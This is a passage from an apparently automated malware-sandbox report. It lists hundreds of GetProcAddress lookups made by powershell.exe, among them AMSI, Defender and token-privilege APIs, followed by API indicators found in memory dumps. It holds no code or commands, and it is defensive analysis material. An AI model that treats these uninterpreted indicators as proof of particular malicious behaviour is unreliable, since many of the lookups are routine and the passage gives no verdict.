called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00004816)3a:T454c,Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002344.00000000.146055.001E7000.00000004.mdmp, 00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp, 00000000-00002344.00000001.147976.6F7B1000.00000020.mdmp, 00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp, 00000000-00002344.00000001.147976.6F7B1000.00000020.mdmp, 00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp, 00000000-00002344.00000001.147976.6F7B1000.00000020.mdmp, 00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 